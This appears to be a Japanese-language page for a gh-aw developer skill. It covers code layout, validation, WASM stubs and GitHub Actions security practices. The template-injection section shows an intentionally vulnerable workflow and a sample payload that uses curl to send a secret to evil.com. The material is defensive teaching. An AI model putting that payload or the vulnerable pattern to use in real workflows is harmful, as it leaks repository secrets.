developer について
gh-aw の開発者向けリファレンスです。コード構成、検証、セキュリティ、実装パターンを、リポジトリの規約やコマンド例とともに説明します。
主な機能
- 01コード構成の指針
- 02検証コマンドの手順
- 03セキュリティとスキーマの実践
- 04Go と JavaScript のパターン
- 05リリースと互換性の指針
活用シーン
- 01Go や JavaScript の新規コードの配置先を決める
- 02開発段階に応じて検証を実行する
- 03セキュリティとスキーマの規約を確認する
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ github/ gh-aw --skill developerインストール後、Claude Code で/developerを入力して読み込まれたか確認します。
詳細
開発者向けの指示
コード構成、検証、セキュリティ、実装パターンに関する gh-aw の技術仕様と開発ガイドラインとして、このリファレンスを使用してください。
目次
- 運用コマンドのプレイブック
- 大文字表記のガイドライン
- コード構成
- 検証アーキテクチャ
- セキュリティのベストプラクティス
- 安全な出力メッセージ
- スキーマ検証
- YAML の互換性
- MCP ログのガードレール
- リリース管理
- ファイアウォールログの解析
- CLI 破壊的変更のルール
- Go モジュールの概要
運用コマンドのプレイブック
初回実行時の周辺コンテキストを小さく保つために、意図的に AGENTS.md から削除された、日々の詳細なコマンド実行フローについては、このセクションを使用してください。
検証のチェックポイント
検証は段階的に実行してください。コンパイルエラーを早期に検出し、時間のかかるテストは最後のパスまで延期します。
- 重要なコード編集のたびに(高速、<5s — コンパイルエラーをすぐに検出)
make build && make fmt - 中間の
report_progress呼び出しの前に毎回(高速、<30s — テストなし)make agent-report-progress-no-test - 最終の
report_progress呼び出しの前に(低速、セッションごとに1回 — test-unit を含む)make agent-report-progress - 時間に余裕があれば、最終引き渡しの前に
make agent-finish
重要なルール:
test-unitは、中間保存の前ではなく、最終のreport_progress呼び出しの前にのみ実行してください。不要な呼び出しを行うたびに、検証時間が120秒以上増加します。
タイムアウトの目安:
make test-unitは最大120秒かかる想定です。それを超える場合は、make test-impacted-goを使って、現在のブランチの変更による影響を受けるパッケージのテストのみを実行してください。
変更種別ごとのコマンド一覧
- Go ファイルの変更:
make fmt - ワークフロー Markdown の変更:
make recompile - JavaScript(
*.cjs)の変更:make fmt-cjs && make lint-cjs
main のマージ手順
main のマージを明示的に依頼された場合:
make merge-mainを実行します。.goまたは.cjsに競合がある場合は、解決してファイルをステージします。- 次を実行します:
make build make recompile git commit make fmt
大文字表記のガイドライン
gh-aw CLI では、製品名と一般的なワークフローへの言及を区別するため、文脈に応じて大文字表記を使い分けます。
大文字表記のルール
| 文脈 | 表記 | 例 |
|---|---|---|
| 製品名 | 大文字表記 | "GitHub Agentic Workflows CLI from GitHub Next" |
| 一般的なワークフロー | 小文字表記 | "Enable agentic workflows" |
| 技術用語 | 大文字表記 | "Compile Markdown workflows to GitHub Actions YAML" |
この規則により、業界標準である「GitHub Actions」と「actions」の使い分けと同様に、製品名(GitHub Agentic Workflows)と概念(agentic workflows)を区別します。
実装
大文字表記のルールは、標準テストスイートの一部として実行される cmd/gh-aw/capitalization_test.go の自動テストによって適用されます。
コード構成
ファイル構成の原則
このコードベースでは、型ではなく機能ごとにコードを整理する明確なパターンに従っています。このセクションでは、コードの品質と構造を維持するためのガイダンスを示します。
大きなファイルより小さなファイルを多数使う
大規模なモノリシックファイルを作るのではなく、100~500行の、機能に特化したファイルにコードを整理してください。
例:
create_issue.go (160 lines)
create_pull_request.go (238 lines)
create_discussion.go (118 lines)
型ではなく機能ごとにグループ化する
推奨する方法:
create_issue.go # Issue creation logic
create_issue_test.go # Issue creation tests
add_comment.go # Comment addition logic
add_comment_test.go # Comment tests
避ける方法:
models.go # All structs
logic.go # All business logic
tests.go # All tests
積極的に取り入れたいパターン
関数作成パターン
GitHub エンティティの作成操作ごとに 1 つのファイルを用意します。
create_issue.go- GitHub イシューの作成ロジックcreate_pull_request.go- プルリクエストの作成ロジックcreate_discussion.go- ディスカッションの作成ロジックcreate_code_scanning_alert.go- コードスキャンアラートの作成
メリット:
- 関心事を明確に分離できます
- 特定の機能を簡単に見つけられます
- ファイルが大きくなりすぎるのを防ぎます
- 並行開発を促進します
エンジン分離パターン
各 AI エンジンに専用のファイルを用意し、共通のヘルパーは engine_helpers.go にまとめます。
copilot_engine.go- GitHub Copilot エンジンclaude_engine.go- Claude エンジンcodex_engine.go- Codex エンジンcustom_engine.go- カスタムエンジンのサポートengine_helpers.go- エンジン共通のユーティリティ
テスト構成パターン
テストは実装ファイルと同じ場所に配置します。
- 機能テスト:
feature.go+feature_test.go - 統合テスト:
feature_integration_test.go - 特定のシナリオのテスト:
feature_scenario_test.go
ファイルサイズのガイドライン
| カテゴリ | 行数 | 用途 | 例 |
|---|---|---|---|
| 小さなファイル | 50-200 | ユーティリティ、シンプルな機能 | args.go(65 行) |
| 中程度のファイル | 200-500 | 多くの機能実装 | create_issue.go(160 行) |
| 大きなファイル | 500-800 | 複雑な機能 | permissions.go(905 行) |
| 非常に大きなファイル | 800+ | コアインフラストラクチャのみ | compiler.go(1596 行) |
判断フロー:新しいファイルの作成
graph TD
A[Need to add code] --> B{New safe output type?}
B -->|Yes| C[Create create_entity.go]
B -->|No| D{New AI engine?}
D -->|Yes| E[Create engine_name_engine.go]
D -->|No| F{Current file > 800 lines?}
F -->|Yes| G[Consider splitting by boundaries]
F -->|No| H{Functionality independent?}
H -->|Yes| I[Create new file]
H -->|No| J[Add to existing file]
判断フロー:ファイルの分割
graph TD
A[Evaluating file split] --> B{File > 1000 lines?}
B -->|Yes| C[SHOULD split]
B -->|No| D{File > 800 lines?}
D -->|Yes| E[CONSIDER splitting]
D -->|No| F{Multiple responsibilities?}
F -->|Yes| E
F -->|No| G{Frequent merge conflicts?}
G -->|Yes| E
G -->|No| H[Keep as is]
ケーススタディ:大きなファイルのリファクタリング
pkg/parser/frontmatter.go のリファクタリングは、大規模なモノリシックファイルにファイル構成の原則を適用する例です。
初期状態
- 元のファイル:1,907 行(モノリシック構造)
- 問題:把握、理解、保守が困難
- 目標:目的を絞った保守しやすいモジュールに分割する
リファクタリングのアプローチ
graph TD
A[frontmatter.go<br/>1,907 LOC] --> B[ansi_strip.go<br/>108 LOC]
A --> C[frontmatter_content.go<br/>284 LOC]
A --> D[remote_fetch.go<br/>258 LOC]
A --> E[workflow_update.go<br/>129 LOC]
A --> F[frontmatter.go<br/>1,166 LOC]
B --> G[ANSI escape<br/>sequence utilities]
C --> H[Frontmatter<br/>parsing & extraction]
D --> I[GitHub remote<br/>content fetching]
E --> J[Workflow file<br/>updates]
F --> K[Core frontmatter<br/>processing]
style B fill:#90EE90
style C fill:#90EE90
style D fill:#90EE90
style E fill:#90EE90
style F fill:#FFE4B5
結果
| 指標 | 変更前 | 変更後 | 変化 |
|---|---|---|---|
| メインファイルのサイズ | 1,907 LOC | 1,166 LOC | -741 LOC(-39%) |
| ファイル数 | 1 | 5 | +4 ファイル |
| 平均ファイルサイズ | 1,907 LOC | 233 LOC | -88% |
| テスト合格率 | 100% | 100% | 変更なし ✓ |
| 破壊的変更 | 該当なし | 0 | なし ✓ |
抽出したモジュール
-
ansi_strip.go(108 LOC)
- ANSI エスケープシーケンスを除去するユーティリティ
- 単独で動作し、依存関係なし
- 関数:
StripANSI()、isFinalCSIChar()、isCSIParameterChar()
-
frontmatter_content.go(284 LOC)
- 基本的なフロントマターの解析と抽出
- 副作用のない純粋関数
- 関数:
ExtractFrontmatterFromContent()、ExtractFrontmatterString()、ExtractMarkdownContent()など
-
remote_fetch.go(258 LOC)
- GitHub のリモートコンテンツの取得
- GitHub API とのやり取りとキャッシュ
- 関数:
downloadIncludeFromWorkflowSpec()、resolveRefToSHA()、downloadFileFromGitHub()
-
workflow_update.go(129 LOC)
- ワークフローファイルの高レベルな更新
- フロントマターの操作と cron 式の処理
- 関数:
UpdateWorkflowFrontmatter()、EnsureToolsSection()、QuoteCronExpressions()
適用した主な原則
- 単一責任:各モジュールはフロントマター処理の 1 つの側面を担当します
- 明確な境界:モジュール間に明確に定義されたインターフェースを設けます
- 段階的なリファクタリング:まず独立したユーティリティを抽出し、次に高レベルのモジュールを抽出します
- 破壊的変更なし:全工程を通じて公開 API との互換性を維持します
- テストによる安全性の確保:抽出のたびにテストを実行します
残作業
複雑なモジュールが 3 つ、元のファイルに残っています(今後の作業が必要です)。
- tool_sections.go(約 420 LOC):ツール設定の抽出とマージ
- include_expander.go(約 430 LOC):循環検出を伴う再帰的なインクルード解決
- frontmatter_imports.go(約 360 LOC):BFS によるインポートの走査と処理
依存関係が強く、状態を持つロジックや複雑な再帰アルゴリズムを含むため、これらは元のファイルに残されています。
避けるべきアンチパターン
巨大なファイル
1 つのファイルですべてを処理するのではなく、責務ごとに分割します。frontmatter.go のリファクタリングでは、1,907 行の「巨大なファイル」を体系的に分割する方法を示しています。
曖昧な命名
utils.go、helpers.go、misc.go、common.go のような、内容がわかりにくいファイル名は避けてください。
目的が明確にわかる ansi_strip.go、remote_fetch.go、workflow_update.go のような具体的な名前を使います。
関心事の混在
ファイルの内容は 1 つのドメインに絞ります。関係のない機能を 1 つのファイルに混在させないでください。
テストの肥大化
1 つの巨大なテストファイルにまとめるのではなく、シナリオごとにテストを分割します。
時期尚早な抽象化
共通パターンを抽出するのは、2〜3 個のユースケースができてからにします。
ヘルパーファイルの規約
ヘルパーファイルには、複数のモジュールで使用する共通ユーティリティ関数を含めます。ヘルパーファイルを作成または変更する際は、以下のガイドラインに従ってください。
ヘルパーファイルを作成する場合
次の場合にヘルパーファイルを作成します。
- 同じドメイン内の 3 つ以上のファイルで使用する共通ユーティリティがある
- 明確なドメインの焦点がある(例:設定の解析、MCP のレンダリング、CLI のラッピング)
- 頻繁には変更されない安定した機能である
適切なヘルパーファイルの例:
github_cli.go- GitHub CLI のラッピング関数(ExecGH、ExecGHWithOutput)config_helpers.go- 安全な出力設定の解析(parseLabelsFromConfig、parseTitlePrefixFromConfig)map_helpers.go- 汎用的なマップ/型ユーティリティ(parseIntValue、filterMapKeys)mcp_renderer.go- MCP 設定のレンダリング(RenderGitHubMCPDockerConfig、RenderJSONMCPConfig)
命名規則
ヘルパーファイル名は汎用的なものではなく、具体的で内容がわかる名前にしてください。
適切な名前:
github_cli.go- GitHub CLI のヘルパーであることがわかりますmcp_renderer.go- MCP のレンダリング用ヘルパーであることがわかりますconfig_helpers.go- 設定解析用ヘルパーであることがわかります
避ける名前:
helpers.go- 汎用的すぎますutils.go- 曖昧すぎますmisc.go- 整理されていない印象を与えますcommon.go- ドメインが特定されていません
ヘルパーファイルに含めるもの
含めるもの:
- 複数のファイルで使用する小規模(50 行未満)なユーティリティ関数
- ドメイン固有の解析/検証関数
- よく使う操作を簡素化するラッパー関数
- 型変換ユーティリティ
含めないもの:
- 複雑なビジネスロジック(ドメイン固有のファイルに置きます)
- 1〜2 か所からしか呼び出されない関数(呼び出し元と同じ場所に置きます)
- 大規模な関数(100 行超)— 専用のファイルを検討してください
- 1 つのファイル内の複数の無関係なドメイン
ヘルパーファイルの構成
pkg/workflow にある現在のヘルパーファイル:
| ファイル | 目的 | 関数 | 使用箇所 |
|---|---|---|---|
github_cli.go | GitHub CLI ラッパー | 2 関数 | CLI コマンドとワークフローの解決で使用 |
config_helpers.go | 安全な出力設定の解析 | 5 関数 | 安全な出力プロセッサーで使用 |
map_helpers.go | 汎用的なマップ/型ユーティリティ | 2 関数 | ワークフローのコンパイル全体で使用 |
prompt_step_helper.go | プロンプトステップの生成 | 1 関数 | プロンプト生成器で使用 |
mcp_renderer.go | MCP 設定のレンダリング | 複数のレンダリング関数 | すべての AI エンジンで使用 |
engine_helpers.go | エンジン共通ユーティリティ | エージェント、npm インストール用ヘルパー | Copilot、Claude、Codex エンジンで使用 |
ヘルパーファイルを作成しない場合
次の場合はヘルパーファイルの作成を避けてください。
- 呼び出し元が 1 つ — 代わりに呼び出し元と同じ場所に置きます
- 結びつきが強い — 関数が 1 つのモジュールと密接に結びついています
- 頻繁に変更される — ヘルパーファイルは安定している必要があります
- 関心事が混在している — 無関係なユーティリティが複数ある場合は、焦点を絞ったファイルに分割します
同じ場所に置く場合の例:
// Instead of: helpers.go containing formatStepName() used only by compiler.go
// Do: Put formatStepName() directly in compiler.go
リファクタリングのガイドライン
ヘルパーファイルをリファクタリングする際は、次の点に従ってください。
- ドメインごとにまとめる — MCP のレンダリングは
mcp_renderer.goに置き、engine_helpers.goには置きません - 関数を小さく保つ — 大規模なヘルパー(100 行超)には専用のファイルが必要な場合があります
- 使用方法を文書化する — 各ヘルパーを使う場面を説明するコメントを追加します
- 呼び出し箇所を確認する — ヘルパーファイルに残す前に、呼び出し元が 3 つ以上あることを確認します
例:MCP 関数の再編成
MCP レンダリング関数は、次の理由から engine_helpers.go から mcp_renderer.go に移動されました。
- ドメインへの特化:すべての関数が MCP 設定のレンダリングに関連しています
- 複数の呼び出し元:Claude、Copilot、Codex、Custom の各エンジンで使用されます
- 一貫性:各関数が連携して MCP 設定をレンダリングします
- 安定性:レンダリングのパターンは頻繁には変わりません
変更前:
engine_helpers.go (478 lines)
- Agent helpers
- npm install helpers
- MCP rendering functions ← Should be in mcp_renderer.go
変更後:
engine_helpers.go (213 lines)
- Agent helpers
- npm install helpers
mcp_renderer.go (523 lines)
- MCP rendering functions
- MCP configuration types
文字列のサニタイズと正規化
このコードベースでは、用途の異なる文字列処理のパターンを 2 つ使用しています。
サニタイズパターン:文字の有効性
目的:無効な文字を削除または置換し、有効な識別子、ファイル名、アーティファクト名を作成します。
使用する場面:特定のコンテキスト(識別子、YAML のアーティファクト名、ファイルシステムのパス)で、文字列に有効な文字のみが含まれていることを確認する必要がある場合です。
処理内容:
- 対象のコンテキストで無効な特殊文字を削除します
- 区切り文字(コロン、スラッシュ、空白)をハイフンに置き換えます
- 一貫性を保つため、小文字に変換します
- 設定に応じて、特定の文字(ピリオド、アンダースコア)を保持する場合があります
正規化パターン:形式の統一
目的:拡張子の削除、表記規則間の変換、または一貫した書式ルールの適用によって形式を統一します。
使用する場面:同じ論理エンティティの異なる表現(例:ファイル拡張子、命名規則)を変換する必要がある場合です。
処理内容:
- ファイル拡張子(.md、.lock.yml)を削除します
- 命名規則間で変換します(ハイフンをアンダースコアに変換)
- 識別子を標準形式に統一します
- 文字の有効性は検証しません(入力がすでに有効であることを前提とします)
関数リファレンス
サニタイズ関数:
SanitizeName(name string, opts *SanitizeOptions) string- カスタムの文字保持設定を使用できる、設定可能なサニタイズですSanitizeWorkflowName(name string) string- アーティファクト名とファイルパス用にワークフロー名をサニタイズしますSanitizeIdentifier(name string) string- ユーザーエージェント文字列用のクリーンな識別子を作成します
正規化関数:
normalizeWorkflowName(name string) string- ファイル拡張子を削除し、ベースとなるワークフロー識別子を取得しますnormalizeSafeOutputIdentifier(identifier string) string- 安全な出力識別子用にハイフンをアンダースコアに変換します
判断フロー
graph TD
A[Need to process a string?] --> B{Need to ensure character validity?}
B -->|Yes| C[Use SANITIZE]
C --> D{Artifact name / file path?}
C --> E{Identifier / user agent?}
C --> F{Custom requirements?}
D --> G[SanitizeWorkflowName]
E --> H[SanitizeIdentifier]
F --> I[SanitizeName with options]
B -->|No| J{Need to standardize format?}
J -->|Yes| K[Use NORMALIZE]
K --> L{Remove file extensions?}
K --> M{Convert conventions?}
L --> N[normalizeWorkflowName]
M --> O[normalizeSafeOutputIdentifier]
ベストプラクティス
- 適切なツールを選ぶ:文字の有効性にはサニタイズを、形式の統一には正規化を使用します。
- 二重処理しない:正規化によって有効な識別子が生成される場合は、再度サニタイズしないでください。
- 意図を記録する:これらの関数を使用する際は、どのパターンを選んだか、その理由を説明するコメントを追加します。
- 前提を検証する:入力がすでに有効であると想定する場合は、その前提を記載します。
- デフォルト値を検討する:結果が空の場合にフォールバックのデフォルト値が必要であれば、
SanitizeIdentifierを使用します。
アンチパターン
すでに正規化された文字列をサニタイズしないでください:
// BAD: Sanitizing a normalized workflow name
normalized := normalizeWorkflowName("weekly-research.md")
sanitized := SanitizeWorkflowName(normalized) // Unnecessary!
文字の有効性の確認に正規化を使わないでください:
// BAD: Using normalize for invalid characters
userInput := "My Workflow: Test/Build"
normalized := normalizeWorkflowName(userInput) // Wrong tool!
// normalized = "My Workflow: Test/Build" (unchanged - invalid chars remain)
WASM ビルドバリアントパターン
pkg/workflow/ 内の 7 つのファイルは、gh-aw ウェブプレイグラウンドで使用される WASM コンパイルターゲット(GOOS=js GOARCH=wasm)向けに、OS に依存する機能のスタブ実装を提供します。各ファイルには _wasm.go サフィックスが付いており(Go における GOARCH=wasm 用の暗黙的なファイル名ビルド制約)、さらに 1 行目に明示的な //go:build js || wasm タグが記述されています。
pkg/workflow/dependabot_wasm.go
pkg/workflow/docker_validation_wasm.go
pkg/workflow/git_helpers_wasm.go
pkg/workflow/github_cli_wasm.go
pkg/workflow/npm_validation_wasm.go
pkg/workflow/pip_validation_wasm.go
pkg/workflow/repository_features_validation_wasm.go
各 _wasm.go ファイルは、WASM 以外の対応ファイルにある公開関数およびパッケージレベルの関数と同じシグネチャを備えていますが、OS 呼び出し(exec、ファイルシステム、ネットワーク)は何もしない処理、または fmt.Errorf("... not available in Wasm") を返す処理に置き換えられています。
_wasm.go スタブが必要な場合
既存の _wasm.go ガード付きファイルに新しい関数を追加する場合(またはコンパイル/検証時に OS レベルのツールを呼び出す新しいファイルを作成する場合)は、必ず _wasm.go スタブを追加してください。具体的には、次のような関数が対象です。
os/execを呼び出す関数、または外部バイナリ(gh、git、docker、npm、pip、uv など)を実行する関数- コンパイル中に実際のファイルシステムから読み取る関数
- 検証時にネットワーク I/O を実行する関数
WASM スタブが不要な関数:
- 純粋なデータ変換(文字列操作、YAML マーシャリング)
- メモリ内データ構造のみを操作する関数
WithSkipValidation(true)の背後で制御される関数(実行時にはすでに除外されていますが、コンパイルは必要です)
スタブの追加方法
- WASM 以外のファイルを特定します(例:
github_cli.go)。 - 対応する
_wasm.goファイルを開く(または作成する)します(例:github_cli_wasm.go)。 - 1 行目のビルドタグが
//go:build js || wasmであることを確認します。 - 同じシグネチャで、ゼロ値および/またはエラーを返すスタブを追加します。
func MyNewFunction(args ...string) ([]byte, error) { return nil, fmt.Errorf("MyNewFunction not available in Wasm") } - WASM ビルドが引き続きコンパイルできることを確認します。
GOOS=js GOARCH=wasm go build ./pkg/workflow/
既知の不足
現在、github_cli_wasm.go には enrichGHError、runGHWithSpinnerContext、RunGHCombinedContext、RunGHWithHost、SetGHHostEnv のスタブがありません。これらは非公開ヘルパー、またはエクスポート済みの RunGH* 系関数からのみ呼び出される薄いラッパーであり、該当する関数にはすでにスタブが用意されています。コンパイラーがこれらを直接参照することはありません。これは意図的なものです。WASM ビルドが失敗しない限り、非公開ヘルパーのスタブは追加しないでください。
検証アーキテクチャ
検証システムは、コンパイル前にワークフロー設定が正しく、安全で、GitHub Actions と互換性があることを確認します。
アーキテクチャの概要
graph LR
WF[Workflow] --> CV[Centralized Validation]
WF --> DV[Domain-Specific Validation]
CV --> validation.go
DV --> strict_mode.go
DV --> pip.go
DV --> npm.go
DV --> expression_safety.go
DV --> engine.go
DV --> mcp-config.go
一元化された検証
場所: pkg/workflow/validation.go(782 行)
目的: ワークフローシステム全体に適用される汎用的な検証
主な関数:
validateExpressionSizes()- GitHub Actions の式のサイズ制限を確認しますvalidateContainerImages()- Docker イメージの存在とアクセス可能性を確認しますvalidateRuntimePackages()- ランタイムパッケージの依存関係を検証しますvalidateGitHubActionsSchema()- GitHub Actions の YAML スキーマに照らして検証しますvalidateNoDuplicateCacheIDs()- キャッシュ識別子が一意であることを確認しますvalidateSecretReferences()- シークレット参照の構文を検証しますvalidateRepositoryFeatures()- リポジトリの機能を確認しますvalidateHTTPTransportSupport()- HTTP トランスポートの設定を検証しますvalidateWorkflowRunBranches()- ワークフロー実行ブランチの設定を検証します
ここに検証を追加する場合:
- 複数の領域にまたがる横断的な関心事
- ワークフローの中核となる整合性チェック
- GitHub Actions との互換性検証
- 一般的なスキーマおよび設定の検証
- リポジトリレベルの機能検出
ドメイン固有の検証
ドメイン固有の検証は、個別のファイルに整理されています。
Strict Mode の検証
ファイル: pkg/workflow/strict_mode.go、pkg/workflow/validation_strict_mode.go
Strict Mode でセキュリティと安全性の制約を適用します。
validateStrictPermissions()- 書き込み権限を拒否しますvalidateStrictNetwork()- 明示的なネットワーク設定を必須としますvalidateStrictMCPNetwork()- カスタム MCP サーバーにネットワーク設定を必須としますvalidateStrictBashTools()- Bash のワイルドカードツールを拒否します
Python パッケージの検証
ファイル: pkg/workflow/pip.go
PyPI で Python パッケージが利用可能かどうかを検証します。
validatePipPackages()- pip パッケージを検証しますvalidateUvPackages()- uv パッケージを検証します
NPM パッケージの検証
ファイル: pkg/workflow/npm.go
npm レジストリで NPX パッケージが利用可能かどうかを検証します。
式の安全性
ファイル: pkg/workflow/expression_safety.go
許可リストベースの検証により、GitHub Actions の式のセキュリティを検証します。
検証の判断ツリー
graph TD
A[New Validation Requirement] --> B{Security or strict mode?}
B -->|Yes| C[strict_mode.go]
B -->|No| D{Only applies to one domain?}
D -->|Yes| E{Domain-specific file exists?}
E -->|Yes| F[Add to domain file]
E -->|No| G[Create new domain file]
D -->|No| H{Cross-cutting concern?}
H -->|Yes| I[validation.go]
H -->|No| J{Validates external resources?}
J -->|Yes| K[Domain-specific file]
J -->|No| I
検証パターン
許可リストの検証
有効な選択肢が限られている、セキュリティ上重要な検証に使用します。
func validateExpressionSafety(content string) error {
matches := expressionRegex.FindAllStringSubmatch(content, -1)
var unauthorizedExpressions []string
for _, match := range matches {
expression := strings.TrimSpace(match[1])
if !isAllowed(expression) {
unauthorizedExpressions = append(unauthorizedExpressions, expression)
}
}
if len(unauthorizedExpressions) > 0 {
return fmt.Errorf("unauthorized expressions: %v", unauthorizedExpressions)
}
return nil
}
外部リソースの検証
外部依存関係の検証に使用します。
func validateDockerImage(image string, verbose bool) error {
cmd := exec.Command("docker", "inspect", image)
output, err := cmd.CombinedOutput()
if err != nil {
pullCmd := exec.Command("docker", "pull", image)
if pullErr := pullCmd.Run(); pullErr != nil {
return fmt.Errorf("docker image not found: %s", image)
}
}
return nil
}
スキーマの検証
設定ファイルの検証に使用します。
func (c *Compiler) validateGitHubActionsSchema(yamlContent string) error {
schema := loadGitHubActionsSchema()
var data interface{}
if err := yaml.Unmarshal([]byte(yamlContent), &data); err != nil {
return err
}
if err := schema.Validate(data); err != nil {
return fmt.Errorf("schema validation failed: %w", err)
}
return nil
}
段階的な検証
複数の検証チェックを順番に適用する場合に使用します。
func (c *Compiler) validateStrictMode(frontmatter map[string]any, networkPermissions *NetworkPermissions) error {
if !c.strictMode {
return nil
}
if err := c.validateStrictPermissions(frontmatter); err != nil {
return err
}
if err := c.validateStrictNetwork(networkPermissions); err != nil {
return err
}
return nil
}
セキュリティのベストプラクティス
このセクションでは、静的解析ツール(actionlint、zizmor、poutine)とセキュリティ研究に基づき、GitHub Actions ワークフローのセキュリティに関するベストプラクティスを説明します。
テンプレートインジェクションの防止
テンプレートインジェクションは、信頼できない入力を GitHub Actions の式で直接使用した場合に発生し、攻撃者が任意のコードを実行したり、シークレットにアクセスしたりできるようになります。
リスクの理解
GitHub Actions の式(${{ }})は、ワークフローの実行前に評価されます。信頼できないデータ(Issue のタイトル、PR の本文、コメント)がこれらの式に渡されると、攻撃者が悪意のあるコードを注入できます。
安全でないパターン
# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
run: echo "${{ github.event.issue.title }}"
脆弱な理由: Issue のタイトルが直接埋め込まれています。攻撃者は "; curl evil.com/?secret=$SECRET; echo " を注入できます。
安全なパターン:環境変数
# SECURE: Use environment variables
name: Process Issue
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Echo issue title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"
安全な理由: 式は制御されたコンテキスト(環境変数への代入)で評価されます。シェルは値を実行可能なコードではなく、データとして受け取ります。
データフローの比較
graph TB
subgraph "Unsafe Pattern"
A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
B1 --> C1[Direct Interpolation<br/>into Shell Command]
C1 --> D1[Code Execution Risk]
style D1 fill:#f88,stroke:#f00
end
subgraph "Safe Pattern"
A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
B2 --> C2[Environment Variable<br/>Assignment]
C2 --> D2[Shell Receives<br/>Data Only]
D2 --> E2[No Code Execution]
style E2 fill:#8f8,stroke:#0f0
end
最近の修正(2025年11月)
以下でテンプレートインジェクションの脆弱性が特定され、修正されました。
copilot-session-insights.md- ステップの出力を環境変数経由で渡す- パターン:bash スクリプトからテンプレート式を環境変数への代入に移動する
詳細な分析と修正内容については、scratchpad/template-injection-prevention.md を参照してください。
安全なパターン:サニタイズ済みコンテキスト(gh-aw 固有)
# SECURE: Use sanitized context output
Analyze this content: "${{ steps.sanitized.outputs.text }}"
steps.sanitized.outputs.text の出力は自動的にサニタイズされます。
- @メンションを無効化
- ボットのトリガーを保護
- XML タグを安全な形式に変換
- 信頼できるドメインからの HTTPS URI のみを許可
- コンテンツの上限を適用(0.5MB、65k 行)
- 制御文字を削除
安全なコンテキスト変数
式で常に安全に使用できます。
github.actorgithub.repositorygithub.run_idgithub.run_numbergithub.sha
環境変数を介さずに式で使用すると安全ではありません。
github.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.pull_request.titlegithub.event.pull_request.bodygithub.head_ref(PR 作成者が制御できます)
シェルスクリプトのベストプラクティス
SC2086:グロブ展開と単語分割を防ぐために二重引用符を使用する
安全でない例:
steps:
- name: Process files
run: |
FILES=$(ls *.txt)
for file in $FILES; do
echo $file
done
脆弱な理由: 変数が空白で分割され、グロブパターンが展開されるため、コマンドインジェクションにつながる可能性があります。
安全な例:
steps:
- name: Process files
run: |
while IFS= read -r file; do
echo "$file"
done < <(find . -name "*.txt")
シェルスクリプトのセキュリティチェックリスト
- 変数の展開は常に引用符で囲みます:
"$VAR" - 条件式には
[ ]ではなく[[ ]]を使用します - コマンド置換にはバッククォートではなく
$()を使用します - 厳密モードを有効にします:
set -euo pipefail - すべての入力を検証してサニタイズします
- shellcheck を使用して一般的な問題を検出します
安全なスクリプトの例:
steps:
- name: Secure script
env:
INPUT_VALUE: ${{ github.event.inputs.value }}
run: |
set -euo pipefail
if [[ ! "$INPUT_VALUE" =~ ^[a-zA-Z0-9_-]+$ ]]; then
echo "Invalid input format"
exit 1
fi
echo "Processing: $INPUT_VALUE"
result=$(grep -r "$INPUT_VALUE" . || true)
echo "$result"
サプライチェーンセキュリティ
サプライチェーン攻撃は、CI/CD パイプライン内の依存関係を標的にします。
アクションのバージョンを SHA で固定する
安全でない例:
steps:
- uses: actions/checkout@v5 # Tag can be moved
- uses: actions/setup-node@main # Branch can be updated
脆弱な理由: タグは削除して再作成でき、ブランチは強制プッシュでき、リポジトリの所有権は変更される可能性があります。
安全な例:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
安全な理由: SHA コミットは変更できません。コメントには、更新時に人が読みやすいバージョンが記載されています。
アクションの SHA を見つける
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1
# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
ワークフローの構成と権限
最小権限の原則
安全でない例:
name: CI
on: [push]
permissions: write-all
安全な例:
name: CI
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
ジョブレベルの権限
name: CI/CD
on: [push]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@sha
- run: npm test
deploy:
needs: test
runs-on: ubuntu-latest
permissions:
contents: read
deployments: write
steps:
- uses: actions/checkout@sha
- run: npm run deploy
利用可能な権限
| 権限 | 読み取り | 書き込み | 用途 |
|---|---|---|---|
| contents | コードを読む | コードをプッシュする | リポジトリへのアクセス |
| issues | イシューを読む | イシューを作成・編集する | イシューの管理 |
| pull-requests | PR を読む | PR を作成・編集する | PR の管理 |
| actions | 実行結果を読む | 実行をキャンセルする | ワークフローの管理 |
| checks | チェックを読む | チェックを作成する | ステータスチェック |
| deployments | デプロイメントを読む | デプロイメントを作成する | デプロイメントの管理 |
静的解析の統合
静的解析ツールを開発および CI/CD ワークフローに統合します。
利用可能なツール
- actionlint - GitHub Actions ワークフローをリントし、シェルスクリプトを検証します
- zizmor - GitHub Actions のセキュリティ脆弱性スキャナーです
- poutine - サプライチェーンセキュリティアナライザーです
ローカルでの実行
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/
# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine
# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
セキュリティチェックリスト
テンプレートインジェクション
-
${{ }}式に信頼できない入力を使用していない - 信頼できないデータを環境変数経由で渡している
- 可能な場合は安全なコンテキスト変数を使用している
- サニタイズ済みのコンテキストを使用している(gh-aw:
steps.sanitized.outputs.text)
シェルスクリプト
- すべての変数を引用符で囲んでいる:
"$VAR" - SC2086 警告がない(引用符で囲まれていない展開)
- 厳密モードを有効にしている:
set -euo pipefail - 入力検証を実装している
- shellcheck が警告なしで通過する
サプライチェーン
- すべてのアクションを SHA に固定している(タグやブランチではない)
- 固定したアクションにバージョンコメントを追加している
- 検証済みの作成者によるアクションを使用している、またはレビュー済みである
- 依存関係の脆弱性をスキャンしている
権限
- 最小限の権限を指定している
-
write-all権限を使用していない - 必要に応じてジョブレベルの権限を使用している
